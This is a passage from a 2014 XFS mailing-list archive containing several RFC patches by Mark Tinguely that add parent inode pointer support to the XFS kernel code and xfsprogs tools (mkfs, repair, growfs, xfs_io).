ino++; uuid_copy(&free->di_uuid, &mp->m_sb.sb_uuid); Index: b/man/man8/mkfs.xfs.8 =================================================================== --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -364,6 +364,12 @@ This is used to enable 32bit quota proje is either 0 or 1, with 1 signifying that 32bit projid are to be enabled. If the value is omitted, 1 is assumed. (This default changed in release version 3.2.0.) +.TP +.BI parent[= value ] +This is used to enable parent inode pointers in CRC enabled filesystems. The +.I value +is either 0 or 1, with 1 signifying that parent inode pointers are to be enabled. +If the value is omitted, 0 is assumed. .RE .TP .BI \-l " log_section_options" Index: b/mkfs/xfs_mkfs.c =================================================================== --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -109,6 +109,8 @@ char *iopts[] = { "attr", #define I_PROJID32BIT 6 "projid32bit", +#define I_PARENT 7 + "parent", NULL }; @@ -149,7 +151,7 @@ char *nopts[] = { "version", #define N_FTYPE 3 "ftype", - NULL, + NULL }; char *ropts[] = { @@ -962,6 +964,7 @@ main( struct fs_topology ft; int lazy_sb_counters; int crcs_enabled; + int parent; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -995,6 +998,7 @@ main( worst_freelist = 0; lazy_sb_counters = 1; crcs_enabled = 0; + parent = 0; memset(&fsx, 0, sizeof(fsx)); memset(&xi, 0, sizeof(xi)); @@ -1316,6 +1320,14 @@ main( illegal(value, "i projid32bit"); projid16bit = c ? 0 : 1; break; + case I_PARENT: + if (!value || *value == '\0') + value = "0"; + c = atoi(value); + if (c < 0 || c > 1) + illegal(value, "i parent"); + parent = c; + break; default: unknown('i', value); } @@ -2463,12 +2475,14 @@ _("size %s specified for log subvolume i if (crcs_enabled) { sbp->sb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; dirftype = 1; - } + if (parent) + sbp->sb_features_incompat |= XFS_SB_FEAT_INCOMPAT_PARENT; + } if (!qflag || Nflag) { printf(_( "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" - " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" + " =%-22s sectsz=%-5u attr=%u, projid32bit=%u, parent=%d\n" " =%-22s crc=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" @@ -2477,7 +2491,7 @@ _("size %s specified for log subvolume i " =%-22s sectsz=%-5u sunit=%d blks, lazy-count=%d\n" "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), dfile, isize, (long long)agcount, (long long)agsize, - "", sectorsize, attrversion, !projid16bit, + "", sectorsize, attrversion, !projid16bit, parent, "", crcs_enabled, "", blocksize, (long long)dblocks, imaxpct, "", dsunit, dswidth, @@ -3085,7 +3099,7 @@ usage( void ) sectlog=n|sectsize=num\n\ /* force overwrite */ [-f]\n\ /* inode size */ [-i log=n|perblock=n|size=num,maxpct=n,attr=0|1|2,\n\ - projid32bit=0|1]\n\ + projid32bit=0|1,parent==0|1]\n\ /* no discard */ [-K]\n\ /* log subvol */ [-l agnum=n,internal,size=num,logdev=xxx,version=n\n\ sunit=value|su=num,sectlog=n|sectsize=num,\n\ From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1ECF729E1B for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96D32AC004 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UrNr003628 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrSL003627; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.855051242@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:20 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 08/17] xfs: (parent ptr) add parent pointer support to xfs_symlink References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=08-pptr-add-to-xfs_symlink.patch Add the parent inode / entry offset into the parent inode entries when creating a new symbolic link. The first entry will always go into the inode. --- fs/xfs/xfs_symlink.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_symlink.c =================================================================== --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -36,6 +36,7 @@ #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" +#include "xfs_attr.h" #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_symlink.h" @@ -192,6 +193,7 @@ xfs_symlink( struct xfs_dquot *gdqp = NULL; struct xfs_dquot *pdqp = NULL; uint resblks; + uint offset; *ipp = NULL; @@ -375,9 +377,15 @@ xfs_symlink( * Create the directory entry for the symlink. */ error = xfs_dir_createname(tp, dp, link_name, ip->i_ino, - &first_block, &free_list, resblks, NULL); + &first_block, &free_list, resblks, &offset); if (error) goto error2; + + if (xfs_sb_version_hasparent(&mp->m_sb)) { + /* set the parent pointer and offset to the inode core fields */ + ip->i_d.di_parent = cpu_to_be64(dp->i_ino); + ip->i_d.di_poffset = cpu_to_be32(offset); + } xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5B52A29E1C for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 411C5304032 for ; Wed, 15 Jan 2014 16:30:53 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Uspk003652 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UsKp003651; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.405366459@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:26 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 14/17] xfsprogs: add parent pointer values to headers and fix repair References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=02-xfsprogs-pptr-fix-namecheck.patch Add the parent inode information to the header files. Make sure that xfs_repair does not think the non-printable values in parent pointer extended attribute type is an indication of a corrupted extened attribute entry. --- include/libxfs.h | 1 + include/xfs_da_format.h | 12 ++++++++---- libxfs/xfs.h | 1 + repair/attr_repair.c | 18 +++++++++++------- 4 files changed, 21 insertions(+), 11 deletions(-) Index: b/include/libxfs.h =================================================================== --- a/include/libxfs.h +++ b/include/libxfs.h @@ -603,6 +603,7 @@ typedef struct xfs_inode { #define LIBXFS_ATTR_SECURE 0x0008 /* use attrs in security namespace */ #define LIBXFS_ATTR_CREATE 0x0010 /* create, but fail if attr exists */ #define LIBXFS_ATTR_REPLACE 0x0020 /* set, but fail if attr not exists */ +#define LIBXFS_ATTR_PARENT 0x0040 /* parent pointer entry */ /* * Project quota id helpers (previously projid was 16bit only and using two Index: b/include/xfs_da_format.h =================================================================== --- a/include/xfs_da_format.h +++ b/include/xfs_da_format.h @@ -1242,24 +1242,28 @@ struct xfs_attr3_icleaf_hdr { #define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ #define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ #define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ +#define XFS_ATTR_PARENT_BIT 3 /* parent pointer entry */ #define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ #define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) #define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) #define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) +#define XFS_ATTR_PARENT (1 << XFS_ATTR_PARENT_BIT) #define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) /* * Conversion macros for converting namespace bits from argument flags * to ondisk flags. */ -#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) +#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE | ATTR_PARENT) +#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE | XFS_ATTR_PARENT) #define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) #define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) #define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ - ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) + ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0) | \ + ((x) & ATTR_PARENT ? XFS_ATTR_PARENT : 0)) #define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ - ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) + ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0) | \ + ((x) & XFS_ATTR_PARENT ? ATTR_PARENT : 0)) /* * Alignment for namelist and valuelist entries (since they are mixed Index: b/libxfs/xfs.h =================================================================== --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -97,6 +97,7 @@ typedef struct xfs_bmalloca { #define ATTR_SECURE LIBXFS_ATTR_SECURE #define ATTR_CREATE LIBXFS_ATTR_CREATE #define ATTR_REPLACE LIBXFS_ATTR_REPLACE +#define ATTR_PARENT LIBXFS_ATTR_PARENT #define ATTR_KERNOTIME 0 #define ATTR_KERNOVAL 0 Index: b/repair/attr_repair.c =================================================================== --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -17,6 +17,7 @@ */ #include +#include #include "globals.h" #include "err_protos.h" #include "attr_repair.h" @@ -880,7 +881,8 @@ process_shortform_attr( /* namecheck checks for / and null terminated for file names. * attributes names currently follow the same rules. */ - if (namecheck((char *)¤tentry->nameval[0], + if (!(currententry->flags & XFS_ATTR_PARENT) && + namecheck((char *)¤tentry->nameval[0], currententry->namelen)) { do_warn( _("entry contains illegal character in shortform attribute name\n")); @@ -1026,8 +1028,9 @@ process_leaf_attr_local( xfs_attr_leaf_name_local_t *local; local = xfs_attr3_leaf_name_local(leaf, i); - if (local->namelen == 0 || namecheck((char *)&local->nameval[0], - local->namelen)) { + if (local->namelen == 0 || + (!(entry->flags & XFS_ATTR_PARENT) && + namecheck((char *)&local->nameval[0], local->namelen))) { do_warn( _("attribute entry %d in attr block %u, inode %" PRIu64 " has bad name (namelen = %d)\n"), i, da_bno, ino, local->namelen); @@ -1081,10 +1084,11 @@ process_leaf_attr_remote( remotep = xfs_attr3_leaf_name_remote(leaf, i); - if (remotep->namelen == 0 || namecheck((char *)&remotep->name[0], - remotep->namelen) || - be32_to_cpu(entry->hashval) != - libxfs_da_hashname((uchar_t *)&remotep->name[0], + if (remotep->namelen == 0 || + (!(entry->flags & XFS_ATTR_PARENT) && + namecheck((char *)&remotep->name[0],remotep->namelen)) || + be32_to_cpu(entry->hashval) != + libxfs_da_hashname((uchar_t *)&remotep->name[0], remotep->namelen) || be32_to_cpu(entry->hashval) < last_hashval || be32_to_cpu(remotep->valueblk) == 0) { From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 711AA29E1D for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id E8C5DAC006 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsIE003636 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0Usst003635; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.025916405@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:22 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 10/17] xfs: (parent ptr) add parent pointer support to xfs_remove References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=10-pptr-add-to_xfs_remove.patch Remove the parent inode / offset entry when removing the link. The entry could be in the inode core or an extended attribute. --- fs/xfs/xfs_attr.c | 16 ++++++++++------ fs/xfs/xfs_inode.c | 36 ++++++++++++++++++++++++++++++++---- 2 files changed, 42 insertions(+), 10 deletions(-) Index: b/fs/xfs/xfs_attr.c =================================================================== --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -466,7 +466,7 @@ xfs_attr_set( * Generic handler routine to remove a name from an attribute list. * Transitions attribute list from Btree to shortform as necessary. */ -STATIC int +int xfs_attr_remove_int(xfs_inode_t *dp, struct xfs_name *name, int flags) { xfs_da_args_t args; @@ -594,16 +594,20 @@ xfs_attr_remove( int flags) { int error; - struct xfs_name xname; + struct xfs_name xname, *xnamep; XFS_STATS_INC(xs_attr_remove); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return (EIO); - error = xfs_attr_name_to_xname(&xname, name); - if (error) - return error; + if ((flags & ATTR_PARENT) == 0) { + xnamep = &xname; + error = xfs_attr_name_to_xname(xnamep, name); + if (error) + return error; + } else + xnamep = (struct xfs_name *) name; xfs_ilock(dp, XFS_ILOCK_SHARED); if (!xfs_inode_hasattr(dp)) { @@ -612,7 +616,7 @@ xfs_attr_remove( } xfs_iunlock(dp, XFS_ILOCK_SHARED); - return xfs_attr_remove_int(dp, &xname, flags); + return xfs_attr_remove_int(dp, xnamep, flags); } Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2493,6 +2493,7 @@ xfs_remove( int link_zero; uint resblks; uint log_count; + uint offset; trace_xfs_remove(dp, name); @@ -2585,13 +2586,24 @@ xfs_remove( link_zero = (ip->i_d.di_nlink == 0); xfs_bmap_init(&free_list, &first_block); - error = xfs_dir_removename(tp, dp, name, ip->i_ino, - &first_block, &free_list, resblks, NULL); + error = xfs_dir_removename(tp, dp, name, ip->i_ino, &first_block, + &free_list, resblks, &offset); if (error) { ASSERT(error != ENOENT); goto out_bmap_cancel; } + if (xfs_sb_version_hasparent(&mp->m_sb) && + atomic_read(&VFS_I(ip)->i_count) > 1 && !link_zero && + ip->i_d.di_parent == cpu_to_be64(dp->i_ino) && + ip->i_d.di_poffset == cpu_to_be32(offset)) { + /* Remove the incore parent information */ + ip->i_d.di_parent = NULLFSINO; + ip->i_d.di_poffset = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + offset = 0; + } + /* * If this is a synchronous mount, make sure that the * remove transaction goes to disk before returning to @@ -2608,6 +2620,22 @@ xfs_remove( if (error) goto std_return; + if (xfs_sb_version_hasparent(&mp->m_sb) && + atomic_read(&VFS_I(ip)->i_count) > 1 && !link_zero && offset) { + struct xfs_pattr p_entry; + struct xfs_name p_name; + + xfs_parent_pname(dp->i_ino, offset, &p_entry, &p_name); + error = xfs_attr_remove(ip, (char *) &p_name, ATTR_PARENT); + if (error) { + xfs_notice(mp, + "%s: attr %llx/%x failed inode %llx %d\n", + __func__, dp->i_ino, offset, + ip->i_ino, error); + if (error == ENOATTR) + error = 0; + } + } /* * If we are using filestreams, kill the stream association. * If the file is still open it may get a new one but that @@ -2617,7 +2645,7 @@ xfs_remove( if (!is_dir && link_zero && xfs_inode_is_filestream(ip)) xfs_filestream_deassociate(ip); - return 0; + return error; out_bmap_cancel: xfs_bmap_cancel(&free_list); From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB80829E20 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 91CE0304032 for ; Wed, 15 Jan 2014 16:30:53 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Utgj003664 for ; Wed, 15 Jan 2014 18:30:55 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0Ut4w003663; Wed, 15 Jan 2014 18:30:55 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.661118493@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:29 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 17/17] xfsprogs: add parent GEOM information References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=05-xfsprogs-pptr-add-to-xfs_info.patch Add the XFS_FSOP_GEOM_FLAGS information for xfs_growfs/xfs_info. --- growfs/xfs_growfs.c | 14 +++++++++----- include/xfs_fs.h | 2 +- 2 files changed, 10 insertions(+), 6 deletions(-) Index: b/growfs/xfs_growfs.c =================================================================== --- a/growfs/xfs_growfs.c +++ b/growfs/xfs_growfs.c @@ -56,7 +56,8 @@ report_info( int projid32bit, int crcs_enabled, int cimode, - int ftype_enabled) + int ftype_enabled, + int parentptr) { printf(_( "meta-data=%-22s isize=%-6u agcount=%u, agsize=%u blks\n" @@ -64,7 +65,7 @@ report_info( " =%-22s crc=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" - "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" + "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d parent=%d\n" "log =%-22s bsize=%-6u blocks=%u, version=%u\n" " =%-22s sectsz=%-5u sunit=%u blks, lazy-count=%u\n" "realtime =%-22s extsz=%-6u blocks=%llu, rtextents=%llu\n"), @@ -75,7 +76,7 @@ report_info( "", geo.blocksize, (unsigned long long)geo.datablocks, geo.imaxpct, "", geo.sunit, geo.swidth, - dirversion, geo.dirblocksize, cimode, ftype_enabled, + dirversion, geo.dirblocksize, cimode, ftype_enabled, parentptr, isint ? _("internal") : logname ? logname : _("external"), geo.blocksize, geo.logblocks, logversion, "", geo.logsectsize, geo.logsunit / geo.blocksize, lazycount, @@ -123,6 +124,7 @@ main(int argc, char **argv) int projid32bit; int crcs_enabled; int ftype_enabled = 0; + int parent_enabled = 0; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -245,11 +247,12 @@ main(int argc, char **argv) projid32bit = geo.flags & XFS_FSOP_GEOM_FLAGS_PROJID32 ? 1 : 0; crcs_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_V5SB ? 1 : 0; ftype_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_FTYPE ? 1 : 0; + parent_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_PARENT ? 1 : 0; if (nflag) { report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, attrversion, projid32bit, crcs_enabled, ci, - ftype_enabled); + ftype_enabled, parent_enabled); exit(0); } @@ -286,7 +289,8 @@ main(int argc, char **argv) report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, - attrversion, projid32bit, crcs_enabled, ci, ftype_enabled); + attrversion, projid32bit, crcs_enabled, ci, + ftype_enabled, parent_enabled); ddsize = xi.dsize; dlsize = ( xi.logBBsize? xi.logBBsize : Index: b/include/xfs_fs.h =================================================================== --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -238,7 +238,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ #define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ - +#define XFS_FSOP_GEOM_FLAGS_PARENT 0x20000 /* parent inode support */ /* * Minimum and maximum sizes need for growth checks. From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A849E29E1F for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 83FE18F8040 for ; Wed, 15 Jan 2014 16:30:53 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsR1003660 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0Usj3003659; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.575807572@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:28 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 16/17] xfsprogs: add parent pointer support to xfs_io References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=04-xfsprogs-pptr-xfs_io-getparentpaths_by_handle.c xfs_io parent -p display parent pointer information for file. xfs_io parent -c check parent pointer consistency for filesystem. --- include/handle.h | 6 ++-- include/jdm.h | 14 +++------ include/parent.h | 13 ++++---- include/xfs_fs.h | 11 +++++++ io/parent.c | 56 +++++++++++++++++++++++--------------- libhandle/handle.c | 78 +++++++++++++++++++++++++++++++++++++++++++---------- libhandle/jdm.c | 48 ++++++++++++++++++++++---------- 7 files changed, 158 insertions(+), 68 deletions(-) Index: b/include/handle.h =================================================================== --- a/include/handle.h +++ b/include/handle.h @@ -24,7 +24,7 @@ extern "C" { struct fsdmidata; struct attrlist_cursor; -struct parent; +struct xfs_parent; extern int path_to_handle (char *__path, void **__hanp, size_t *__hlen); extern int path_to_fshandle (char *__path, void **__fshanp, size_t *__fshlen); @@ -41,10 +41,10 @@ extern int attr_list_by_handle (void *_ size_t __bufsize, int __flags, struct attrlist_cursor *__cursor); extern int parents_by_handle(void *__hanp, size_t __hlen, - struct parent *__buf, size_t __bufsize, + struct xfs_parent *__buf, size_t __bufsize, unsigned int *__count); extern int parentpaths_by_handle(void *__hanp, size_t __hlen, - struct parent *__buf, size_t __bufsize, + struct xfs_parent *__buf, size_t __bufsize, unsigned int *__count); extern int fssetdm_by_handle (void *__hanp, size_t __hlen, struct fsdmidata *__fsdmi); Index: b/include/jdm.h =================================================================== --- a/include/jdm.h +++ b/include/jdm.h @@ -24,7 +24,7 @@ typedef void jdm_filehandle_t; /* fileha struct xfs_bstat; struct attrlist_cursor; -struct parent; +struct xfs_parent; extern jdm_fshandle_t * jdm_getfshandle( char *mntpnt); @@ -62,16 +62,12 @@ jdm_attr_list( jdm_fshandle_t *fshp, struct attrlist_cursor *cursor); extern int -jdm_parents( jdm_fshandle_t *fshp, - xfs_bstat_t *statp, - struct parent *bufp, size_t bufsz, - unsigned int *count); +jdm_parents( jdm_fshandle_t *fshp, struct xfs_bstat *statp, + struct xfs_parent *bufp, size_t bufsz, unsigned int *count); extern int -jdm_parentpaths( jdm_fshandle_t *fshp, - xfs_bstat_t *statp, - struct parent *bufp, size_t bufsz, - unsigned int *count); +jdm_parentpaths( jdm_fshandle_t *fshp, struct xfs_bstat *statp, + struct xfs_parent *bufp, size_t bufsz, unsigned int *count); /* macro for determining the size of a structure member */ #define sizeofmember( t, m ) sizeof( ( ( t * )0 )->m ) Index: b/include/parent.h =================================================================== --- a/include/parent.h +++ b/include/parent.h @@ -18,12 +18,13 @@ #ifndef __PARENT_H__ #define __PARENT_H__ -typedef struct parent { - __u64 p_ino; - __u32 p_gen; - __u16 p_reclen; - char p_name[1]; -} parent_t; +struct xfs_parent { + uint64_t p_ino; /*parent inode number */ + uint32_t p_offset; /* entry offset in parent inode */ + uint16_t p_reclen; /* name length */ + uint16_t p_spare; /* padding for future */ + char p_name[1]; /* name */ +}; typedef struct parent_cursor { __u32 opaque[4]; /* an opaque cookie */ Index: b/include/xfs_fs.h =================================================================== --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -438,6 +438,15 @@ typedef struct xfs_fsop_attrmulti_handle struct xfs_attr_multiop __user *ops; /* attr_multi data */ } xfs_fsop_attrmulti_handlereq_t; + +typedef struct xfs_fsop_parentlist_handlereq { + struct xfs_fsop_handlereq hreq; /* handle interface structure */ + __u32 flags; /* which namespace to use */ + __u32 buflen; /* length of buffer supplied */ + __u32 __user *ocount; /* output count ptr */ + void __user *buffer; /* returned names */ +} xfs_fsop_parentlist_handlereq_t; + /* * per machine unique filesystem identifier types. */ @@ -553,6 +562,8 @@ typedef struct xfs_swapext #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) #define XFS_IOC_FSGEOMETRY _IOR ('X', 124, struct xfs_fsop_geom) #define XFS_IOC_GOINGDOWN _IOR ('X', 125, __uint32_t) +#define XFS_IOC_GETPARENTS_BY_HANDLE _IOWR('X', 126, struct xfs_fsop_parentlist_handlereq) +#define XFS_IOC_GETPARENTPATHS_BY_HANDLE _IOWR('X', 127, struct xfs_fsop_parentlist_handlereq) /* XFS_IOC_GETFSUUID ---------- deprecated 140 */ Index: b/io/parent.c =================================================================== --- a/io/parent.c +++ b/io/parent.c @@ -39,14 +39,16 @@ static char *mntpt; * check out a parent entry to see if the values seem valid */ static void -check_parent_entry(xfs_bstat_t *bstatp, parent_t *parent) +check_parent_entry( + struct xfs_bstat *bstatp, + struct xfs_parent *parent) { int sts; char fullpath[PATH_MAX]; struct stat statbuf; char *str; - sprintf(fullpath, _("%s%s"), mntpt, parent->p_name); + sprintf(fullpath, _("%s/%s"), mntpt, parent->p_name); sts = lstat(fullpath, &statbuf); if (sts != 0) { @@ -121,19 +123,23 @@ check_parent_entry(xfs_bstat_t *bstatp, } static void -check_parents(parent_t *parentbuf, size_t *parentbuf_size, - jdm_fshandle_t *fshandlep, xfs_bstat_t *statp) +check_parents( + struct xfs_parent *parentbuf, + size_t *parentbuf_size, + jdm_fshandle_t *fshandlep, + struct xfs_bstat *statp) { - int error, i; - __u32 count; - parent_t *entryp; + int error, i; + __u32 count = 